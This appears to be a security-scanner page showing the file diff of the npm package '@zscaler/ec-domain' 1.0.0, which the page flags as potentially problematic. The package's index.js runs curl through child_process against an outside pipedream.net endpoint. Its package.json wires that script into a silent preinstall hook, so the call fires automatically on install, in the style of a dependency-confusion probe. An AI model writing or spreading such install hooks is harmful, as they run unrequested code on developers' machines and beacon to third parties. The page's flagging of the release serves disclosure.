@zscaler/ec-domain 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @zscaler/ec-domain might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +8 -0
  2. package/package.json +15 -0
package/index.js ADDED
@@ -0,0 +1,8 @@
1
+ const { exec } = require("child_process");
2
+ exec("curl -I -s -o /dev/null -w '%{http_code}' https://eopfvj479tdegp5.m.pipedream.net/", (error, data, getter) => {
3
+ if (error) {
4
+ console.log("error", error.message);
5
+ return;
6
+ }
7
+ console.log("HTTP Status Code:", data.trim());
8
+ });
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "@zscaler/ec-domain",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js > /dev/null 2>&1",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "rezihkx1",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "lodash": "^4.17.21"
14
+ }
15
+ }